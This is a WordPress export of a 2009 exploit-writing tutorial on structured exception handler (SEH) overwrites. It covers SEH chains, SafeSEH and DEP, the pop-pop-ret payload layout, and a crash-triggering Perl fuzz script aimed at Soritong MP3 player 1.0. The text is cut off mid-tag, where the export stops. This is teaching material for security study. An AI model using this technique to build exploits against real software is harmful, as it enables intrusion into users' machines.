{"id":2153,"date":"2009-07-25T00:27:34","date_gmt":"2009-07-24T22:27:34","guid":{"rendered":"http:\/\/www.corelan.be:8800\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/"},"modified":"2009-07-25T00:27:34","modified_gmt":"2009-07-24T22:27:34","slug":"writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/","title":{"rendered":"Exploit writing tutorial part 3 : SEH Based Exploits"},"content":{"rendered":"<p>In the first 2 parts of the exploit writing tutorial series, I have discussed how a classic stack buffer overflow works and how you can build a reliable exploit by using various techniques to jump to the shellcode.&#160; The example we have used allowed us to directly overwrite EIP and we had a pretty large buffer space to host our shellcode. On top of that, we had the ability to use multiple jump techniques to reach our goal. But not all overflows are that easy.<\/p>\n<p>Today, we\u2019ll look at another technique to go from vulnerability to exploit, by using exception handlers.<\/p>\n<h3>What are exception handlers ?<\/h3>\n<p>An exception handler is a piece of code that is written inside an application, with the purpose of dealing with the fact that the application throws an execption.&#160; A typical exception handler looks like this :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">try<\/span>\n{\n  <span style=\"color: #008000\">\/\/run stuff.  If an exception occurs, go to &lt;catch&gt; code<\/span>\n}\n<span style=\"color: #0000ff\">catch<\/span>\n{\n  <span style=\"color: #008000\">\/\/ run stuff when exception occurs<\/span>\n}<\/pre>\n<div id=\"codeSnippetWrapper\">\n<div id=\"codeSnippet\" style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; direction: ltr; text-align: left; padding-top: 0px; border-right-style: none; padding-left: 0px; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\"><!--CRLF--><!--CRLF--><!--CRLF--><!--CRLF--><!--CRLF--><!--CRLF--><!--CRLF--><!--CRLF--><\/div>\n<\/div>\n<p>A quick look on the stack on how the try &amp; catch blocks are related to each other and placed on the stack&#160; :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image25.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb25.png\" width=\"574\" height=\"344\" \/><\/a><\/p>\n<p><em>(Note : &quot;Address of exception handler&quot; is just one part of a SEH record - the image above is an abstract representation, merely showing the various components)<\/em><\/p>\n<p>Windows has a default SEH (Structured Exception Handler) which will catch exceptions. If Windows catches an exception, you\u2019ll see a \u201cxxx has encountered a problem and needs to close\u201d popup. This is often the result of the default handler kicking in.&#160; It is obvious that, in order to write stable software, one should try to use development language specific exception handlers, and only rely on the windows default SEH as a last resort.&#160;&#160; When using language EH\u2019s, the necessary links and calls to the exception handling code are generate in accordance with the underlying OS.&#160; (and when no exception handlers are used, or when the available exception handlers cannot process the exception, the Windows SEH will be used. (UnhandledExceptionFilter)).&#160; So in the event an error or illegal instruction occurs, the application will get a chance to catch the exception and do something with it. If no exception handler is defined in the application, the OS takes over, catches the exception, shows the popup (asking you to Send Error Report to MS).<\/p>\n<p>In order for the application to be able to go to the catch code, the pointer to the exception handler code is saved on the stack (for each code block). Each code block has its own stack frame, and the pointer to the exception handler is part of this stack frame.&#160; In other words : Each function\/procedure gets a stack frame. If an exception handler is implement in this function\/procedure, the exception handler gets its own stack frame.&#160; Information about the frame-based exception handler is stored in an exception_registration structure on the stack.<\/p>\n<p>This structure ( also called a SEH record) is 8 bytes and has 2 (4 byte) elements :<\/p>\n<ul>\n<li>a pointer to the next exception_registration structure (in essence, to the next SEH record, in case the current handler is unable the handle the exception) <\/li>\n<li>a pointer,&#160; the address of the actual code of the exception handler. (SE Handler) <\/li>\n<\/ul>\n<p>Simple stack view on the SEH chain components :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image45.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb45.png\" width=\"540\" height=\"388\" \/><\/a><\/p>\n<p>At the top of the main data block (the data block of the application\u2019s \u201cmain\u201d function, or TEB (Thread Environment Block) \/ TIB (Thread Information Block)), a pointer to the top of the SEH chain is placed. This SEH chain is often called the FS:[0] chain as well.<\/p>\n<p><em>So, on Intel machines, when looking at the disassembled SEH code, you will see an instruction to move DWORD ptr from FS:[0]. This ensures that the exception handler is set up for the thread and will be able to catch errors when they occur.&#160; The opcode for this instruction is 64A100000000. If you cannot find this opcode, the application\/thread may not have exception handling at all.<\/em><\/p>\n<p><em>Alternatively, you can use a OllyDBG plugin called OllyGraph to create a Function Flowchart.<\/em><\/p>\n<p>The bottom of the SEH chain is indicated by FFFFFFFF. This will trigger an improper termination of the program (and the OS handler will kick in)<\/p>\n<p>Quick example : compile the following source code (sehtest.exe) and open the executable in windbg. Do NOT start the application yet, leave it in a paused state :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">#include&lt;stdio.h&gt;\n#include&lt;<span style=\"color: #0000ff\">string<\/span>.h&gt;\n#include&lt;windows.h&gt;\n\n<span style=\"color: #0000ff\">int<\/span> ExceptionHandler(<span style=\"color: #0000ff\">void<\/span>);\n<span style=\"color: #0000ff\">int<\/span> main(<span style=\"color: #0000ff\">int<\/span> argc,<span style=\"color: #0000ff\">char<\/span> *argv[]){\n\n<span style=\"color: #0000ff\">char<\/span> temp[512];\n\nprintf(<span style=\"color: #006080\">&quot;Application launched&quot;<\/span>);\n\n __try {\n\n    strcpy(temp,argv[1]);\n\n    } __except ( ExceptionHandler() ){\n}\n<span style=\"color: #0000ff\">return<\/span> 0;\n}\n<span style=\"color: #0000ff\">int<\/span> ExceptionHandler(<span style=\"color: #0000ff\">void<\/span>){\nprintf(<span style=\"color: #006080\">&quot;Exception&quot;<\/span>);\n<span style=\"color: #0000ff\">return<\/span> 0;\n}<\/pre>\n<\/div>\n<p>look at the loaded modules<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">Executable search path <span style=\"color: #0000ff\">is<\/span>:\nModLoad: 00400000 0040c000   c:\\sploits\\seh\\lcc\\sehtest.exe\nModLoad: 7c900000 7c9b2000   ntdll.dll\nModLoad: 7c800000 7c8f6000   C:\\WINDOWS\\system32\\kernel32.dll\nModLoad: 7e410000 7e4a1000   C:\\WINDOWS\\system32\\USER32.DLL\nModLoad: 77f10000 77f59000   C:\\WINDOWS\\system32\\GDI32.dll\nModLoad: 73d90000 73db7000   C:\\WINDOWS\\system32\\CRTDLL.DLL<\/pre>\n<\/div>\n<p>The application sits between 00400000 and 0040c000<\/p>\n<p>Search this area for the opcode :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; s 00400000 l 0040c000 64 A1\n00401225  64 a1 00 00 00 00 55 89-e5 6a ff 68 1c a0 40 00  d.....U..j.h..@.\n0040133f  64 a1 00 00 00 00 50 64-89 25 00 00 00 00 81 ec  d.....Pd.%......<\/pre>\n<\/div>\n<p>This is proof that an exception handler is registered. Dump the TEB :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; d fs:[0]\n003b:00000000  <strong><span style=\"color: #ff0000\">0c fd 12 00<\/span><\/strong> 00 00 13 00-00 e0 12 00 00 00 00 00 ................\n003b:00000010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................\n003b:00000020  84 0d 00 00 54 0c 00 00-00 00 00 00 00 00 00 00 ....T...........\n003b:00000030  00 d0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................\n003b:00000040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................\n003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................\n003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................\n003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................\n0:000&gt; !exchain\n0012fd0c: ntdll!strchr+113 (7c90e920)<\/pre>\n<\/div>\n<p>The pointer points to 0x0012fd0c (begin of SEH chain). When looking at that area, we see :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; d 0012fd0c\n0012fd0c  <strong><span style=\"color: #ff0000\">ff ff ff ff<\/span><\/strong> 20 e9 90 7c-30 b0 91 7c 01 00 00 00  .... ..|0..|....\n0012fd1c  00 00 00 00 57 e4 90 7c-30 fd 12 00 00 00 90 7c  ....W..|0......|\n0012fd2c  00 00 00 00 17 00 01 00-00 00 00 00 00 00 00 00  ................\n0012fd3c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n0012fd4c  08 30 be 81 92 24 3e f8-18 30 be 81 18 aa 3c 82  .0...$&gt;..0....&lt;.\n0012fd5c  90 2f 20 82 01 00 00 00-00 00 00 00 00 00 00 00  .\/ .............\n0012fd6c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n0012fd7c  01 00 00 f4 00 00 00 00-00 00 00 00 00 00 00 00  ................<\/pre>\n<\/div>\n<p>ff ff ff ff indicates the end of the SEH chain. That\u2019s normal, because the application is not started yet. (Windbg is still paused)<\/p>\n<p>If you have the Ollydbg plugin Ollygraph installed, you could open the executable in ollydbg and create the graph, which should indicate if an exception handler is installed or not :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image27.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb27.png\" width=\"231\" height=\"231\" \/><\/a><\/p>\n<p>When we run the application (F5&#160; or \u2018g\u2019), we see this :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; d fs:[0]\n*** ERROR: Symbol file could not be found.  Defaulted to export symbols <span style=\"color: #0000ff\">for<\/span> ...\n003b:00000000  <strong><span style=\"color: #ff0000\">40 ff 12 00<\/span><\/strong> 00 00 13 00-00 d0 12 00 00 00 00 00 @...............\n003b:00000010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................\n003b:00000020  84 0d 00 00 54 0c 00 00-00 00 00 00 00 00 00 00 ....T...........\n003b:00000030  00 d0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................\n003b:00000040  a0 06 85 e2 00 00 00 00-00 00 00 00 00 00 00 00 ................\n003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................\n003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................\n003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................\n0:000&gt; d 0012ff40\n0012ff40  b0 ff 12 00 d8 9a 83 7c-e8 ca 81 7c 00 00 00 00  .......|...|....\n0012ff50  64 ff 12 00 26 cb 81 7c-00 00 00 00 b0 f3 e8 77  d...&amp;..|.......w\n0012ff60  <strong><span style=\"color: #ff0000\">ff ff ff ff<\/span><\/strong> c0 ff 12 00-28 20 d9 73 00 00 00 00  ........( .s....\n0012ff70  4a f7 63 01 00 d0 fd 7f-6d 1f d9 73 00 00 00 00  J.c.....m..s....\n0012ff80  00 00 00 00 00 00 00 00-ca 12 40 00 00 00 00 00  ..........@.....\n0012ff90  00 00 00 00 f2 f6 63 01-4a f7 63 01 00 d0 fd 7f  ......c.J.c.....\n0012ffa0  06 00 00 00 04 2d 4c f4-94 ff 12 00 ab 1c 58 80  .....-L.......X.\n0012ffb0  e0 ff 12 00 9a 10 40 00-1c a0 40 00 00 00 00 00  <a href=\"mailto:......@...@.....\">......@...@.....\n<\/a><\/pre>\n<\/div>\n<p>The TEB for the main function is now set up. The SEH chain for the main function points at 0x0012ff40, where the exception handler is listed and will point to the exception handler function (0x0012ffb0)<\/p>\n<p>In OllyDbg, you can see the seh chain more easily :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image28.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb28.png\" width=\"274\" height=\"73\" \/><\/a><\/p>\n<p>(There is a similar view in Immunity Debugger - just click &quot;View&quot; and select &quot;SEH Chain&quot;)<\/p>\n<p>Stack :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image29.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb29.png\" width=\"325\" height=\"325\" \/><\/a><\/p>\n<p>Here we can see a pointer to our Exception Handler function ExceptionHandler() (0x0040109A)<\/p>\n<p>Anyways, as you can see in the explanation above the example, and in the last screenshot, exception handlers are connected\/linked to each other. They form a linked list chain on the stack, and sit relatively close to the bottom of the stack. (SEH chain). When an exception occurs, Windows ntdll.dll kicks in, retrieves the head of the SEH chain (sits at the top of TEB\/TIB remember), walks through the list and tries to find the suitable handler. If no handler is found the default Win32 handler will be used (at the bottom of the stack, the one after FFFFFFFF).<\/p>\n<p>We see the first SE Handler record at 0012FFF40. The next SEH address points to the next SEH record (0012FFB0).&#160; The current handler points at 7C839AD8.&#160; It looks like this is some kind of OS handler (the pointers points into an OS module)<\/p>\n<p>Then, the second SEH record entry in the chain (at 0012FFB0) has the following values : next SEH points to 0012FFE0. The handler points at 0040109A. This address is part of the executable, so it looks like this is an application handler.<\/p>\n<p>Finally, the last SEH record in the chain (at 0012FFE0) has FFFFFFFF in nseh. This means that this is the last entry in the chain.&#160; The handler points at 7C839AD8, which is an OS handler again.<\/p>\n<p>So, putting all pieces together, the entire SEH chain looks like this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2010\/08\/image12.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/08\/image_thumb12.png\" width=\"580\" height=\"362\" \/><\/a>&#160;<\/p>\n<p>You can read more about SEH in Matt Pietrek\u2019s excellent article from 1997 : http:\/\/www.microsoft.com\/msj\/0197\/exception\/exception.aspx<\/p>\n<h3>Changes in Windows XP SP1 with regards to SEH, and the impact of GS\/DEP\/SafeSEH and other protection mechanisms on exploit writing.<\/h3>\n<p><strong>XOR<\/strong><\/p>\n<p>In order to be able to build an exploit based on SEH overwrite, we will need to make a distinction between Windows XP pre-SP1 and SP1 and up.&#160; Since Windows XP SP1, before the exception handler is called, all registers are XORed with each other, making them all contain 0x00000000, which means you won't be able to find a reference to your payload in one of the registers. In other words, maybe you'll see that one or more registers point at your payload at the first chance exception, but when the EH kicks in, these registers are cleared again (so you cannot jump to them directly in order to execute your shellcode).&#160; We\u2019ll talk about this later on.<\/p>\n<p><strong>DEP &amp; Stack Cookies<\/strong><\/p>\n<p>On top of that, Stack Cookies (via C++ compiler options) and DEP (Data Execution Prevention) were introduced (Windows XP SP2 and Windows 2003) . I will write an entire post on Stack cookies and DEP. In sort, you only need to remember that these two techniques can make it significantly harder to build exploits.<\/p>\n<p><strong>SafeSEH<\/strong><\/p>\n<p>Some additional protection was added to compilers, helping to stop the abuse of SEH overwrites. This protection mechanism is active for all modules that are compiled with \/safeSEH<\/p>\n<p><strong>Windows 2003<\/strong><\/p>\n<p>Under Windows 2003 server, more protection was added. I\u2019m not going to discuss these protections in this post (check tutorial series part 6 for more info), because things would start to get too complex at this point.&#160;&#160; As soon as you mastered this tutorial, you will be ready to look at tutorial part 6 \ud83d\ude42<\/p>\n<h3>XOR, SafeSEH,\u2026. but how can we then use the SEH to jump to shellcode ?<\/h3>\n<p>There is a way around the XOR 0x00000000 protection and the SafeSEH protections. Since you cannot simply jump to a register (because registers are xored), a call to a series of instructions in a dll will be needed.<\/p>\n<blockquote>\n<p>(You should try to avoid using a call from the memory space of an OS specific dll, but rather use an address from an application dll instead in order to make the exploit reliable (assuming that this dll is not compiled with safeSEH). That way, the address will be *almost* always the same, regardless of the OS version.&#160; But if there are no DLL\u2019s, and there is a non safeseh OS module that is loaded, and this module contains a call to these instructions, then it will work too.)<\/p>\n<\/blockquote>\n<p>The theory behind this technique is : If we can overwrite the pointer to the SE handler that will be used to deal with a given exception, and we can cause the application to throw another exception (a forced exception), we should be able to get control by forcing the application to jump to your shellcode (instead of to the real exception handler function).&#160; The series of instructions that will trigger this, is POP POP RET. The OS will understand that the exception handling routine has been executed and will move to the next SEH&#160; (or to the end of the SEH chain).&#160;&#160; The pointer to this instruction should be searched for in loaded dll\u2019s\/exe\u2019s, but not in the stack (again, the registers will be made unusable). (You could try to use ntdll.dll or an application-specific dll)<\/p>\n<blockquote>\n<p>One quick sidenote : there is an excellent Ollydbg plugin called <a href=\"http:\/\/www.openrce.org\/downloads\/details\/244\/OllySSEH\" target=\"_blank\" rel=\"noopener\">OllySSEH<\/a>, which will scan the process loaded modules and will indicate if they were compiled with SafeSEH or not. It is important to scan the dll\u2019s and to use a pop\/pop\/ret address from a module that is not compiled with SafeSEH. If you are using Immunity Debugger, then you can use the pvefindaddr plugin to look for seh (p\/p\/r) pointers. This plugin will automatically filter invalid pointers (from safeseh modules etc) and will also look for all p\/p\/r combinations.&#160; I highly recommend using Immunity Debugger and pvefindaddr.<\/p>\n<\/blockquote>\n<p>Normally, the pointer to the next SEH record contains an address. But in order to build an exploit, we need to overwrite it with small jumpcode to the shellcode (which should sit in the buffer right after overwriting the SE Handler).&#160; The pop pop ret sequence will make sure this code gets executed<\/p>\n<p>In other words, the payload must do the following things<\/p>\n<ol>\n<li>cause an exception. Without an exception, the SEH handler (the one you have overwritten\/control) won't kick in <\/li>\n<li>overwrite the pointer to the next SEH record with some jumpcode (so it can jump to the shellcode) <\/li>\n<li>overwrite the SE handler with a pointer to an instruction that will bring you back to next SEH and execute the jumpcode. <\/li>\n<li>The shellcode should be directly after the overwritten SE Handler. Some small jumpcode contained in the overwritten \u201cpointer to next SEH record\u201d will jump to it). <\/li>\n<\/ol>\n<p><a href=\"\/wp-content\/uploads\/2010\/08\/image13.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-top: 0px; border-right: 0px; border-bottom: 0px; margin: 7px; border-left: 0px; display: inline\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2010\/08\/image_thumb13.png\" width=\"579\" height=\"387\" \/><\/a><\/p>\n<p>As explained at the top of this post, there could be no exception handlers in the application (in that case, the default OS Excecption Handler takes over, and you will have to overwrite a lot of data, all the way to the bottom of the stack), or the application uses its own exception handlers (and in that case you can choose how far \u2018deep\u2019 want to overwrite).<\/p>\n<p>A typical payload will look like this<\/p>\n<p>[Junk][nSEH][SEH][Nop-Shellcode]<\/p>\n<p>Where nSEH = the jump to the shellcode, and SEH is a reference to a pop pop ret<\/p>\n<p>Make sure to pick a universal address for overwriting the SEH. Ideally, try to find a good sequence in one of the dll\u2019s from the application itself.<\/p>\n<p>Before looking at building an exploit, we\u2019ll have a look at how Ollydbg and windbg can help tracing down SEH handling (and assist you with building the correct payload)<\/p>\n<p>The test case in this post is based on a vulnerability that was released last week (july 20th 2009).<\/p>\n<h3>See SEH in action - Ollydbg<\/h3>\n<p>When performing a regular stack based buffer overflow, we overwrite the return address (EIP) and make the application jump to our shellcode.&#160; When doing a SEH overflow, we will continue overwriting the stack after overwriting EIP, so we can overwrite the default exception handler as well. How this will allow us to exploit a vulnerability, will become clear soon.<\/p>\n<p>Let\u2019s use a vulnerability in <a href=\"http:\/\/www.sorinara.com\/soritong\/\" target=\"_blank\" rel=\"noopener\">Soritong MP3 player 1.0<\/a>, made <a href=\"http:\/\/www.milw0rm.com\/exploits\/9192\" target=\"_blank\" rel=\"noopener\">public on july 20th 2009<\/a>.<\/p>\n<p>You can download a local copy of the Soritong MP3 player here :<\/p>\n<blockquote>\n<p>[download id=38]38[\/download]<\/p>\n<\/blockquote>\n<p>The vulnerability points out that an invalid skin file can trigger the overflow. We\u2019ll use the following basic perl script to create a file called UI.txt in the skin\\default folder :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">$uitxt = <span style=\"color: #006080\">&quot;ui.txt&quot;<\/span>;\n\nmy $junk = &quot;A&quot; x 5000 ; \n\nopen(myfile,&quot;&gt;$uitxt&quot;) ;\nprint myfile $junk;<\/pre>\n<\/div>\n<p>Now open soritong. The application dies silently (probably because of the exception handler that has kicked in, and has not been able to find a working SEH address (because we have overwritten the address).<\/p>\n<p>FIrst, we\u2019ll work with Ollydbg\/Immunity to clearly show you the stack and SEH chain .&#160; Open Ollydbg\/Immunity Debugger and open the soritong.exe executable. Press the \u201cplay\u201d button to run the application. Shortly after, the application dies and stops at this screen :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image31.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; margin: 7px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb31.png\" width=\"613\" height=\"390\" \/><\/a><\/p>\n<p>The application has died at 0x0042E33. At that point, ESP points at 0x0012DA14.&#160; Further down the stack (at 0012DA6C), we see FFFFFFFF, which looks likeindicates the end of the SEH chain. Directly below 0x0012DA14, we see 7E41882A, which is the address of the default SE handler for the application.&#160; This address sits in the address space of user32.dll.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image32.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; margin: 7px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb32.png\" width=\"421\" height=\"286\" \/><\/a><\/p>\n<p>A couple of addresses higher on the stack, we can see some other exception handlers, but all of them also belong to the OS (ntdll in this case).&#160; So it looks like this application (or at least the function that was called and caused the exception) does not have its own exception handler routine.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image33.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; margin: 7px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb33.png\" width=\"442\" height=\"187\" \/><\/a><\/p>\n<p>When we look at the threads (View - Threads) select the first thread (which refers to the start of the application), right click and choose \u2018dump thread data block\u2019, we can see the Pointer to the SEH chain :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image34.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb34.png\" width=\"392\" height=\"55\" \/><\/a><\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image35.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb35.png\" width=\"356\" height=\"251\" \/><\/a><\/p>\n<p>So the exception handler worked. We caused an exception (by building a malformed ui.txt file). The application jumped to the SEH chain (at 0x0012DF64).<\/p>\n<p>Go to \u201cView\u201d and open \u201cSEH chain\u201d<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image36.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb36.png\" width=\"193\" height=\"156\" \/><\/a><\/p>\n<p>The SE handler address points to the location where the code sits that needs to be run in order to deal with the exception.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image37.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb37.png\" width=\"229\" height=\"74\" \/><\/a><\/p>\n<p>The SE handler has been overwritten with 4 A\u2019s.&#160; Now it becomes interesting. When the exception is handled, EIP will be overwritten with the address in the SE Handler.&#160; Since we can control the value in the handler, we can have it execute our own code.<\/p>\n<h3>See SEH in action - Windbg<\/h3>\n<p>When we now do the same in windbg, this is what we see :<\/p>\n<p>Close Ollydbg, open windbg and open the soritong.exe file.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image38.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb38.png\" width=\"186\" height=\"98\" \/><\/a><\/p>\n<p>The debugger first breaks (it puts a breakpoint before executing the file). Type command g&#160; (go) and press return. This will launch the application. (Alternatively, press F5)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image39.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb39.png\" width=\"453\" height=\"393\" \/><\/a><\/p>\n<p>Soritong mp3 player launches, and dies shortly after. Windbg has catched the \u201cfirst change exception\u201d. This means that windbg has noticed that there was an exception, and even before the exception could be handled by the application, windbg has stopped the application flow :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image40.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb40.png\" width=\"454\" height=\"263\" \/><\/a><\/p>\n<p>The message states \u201cThis exception may be expected and handled\u201d.<\/p>\n<p>Look at the stack :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 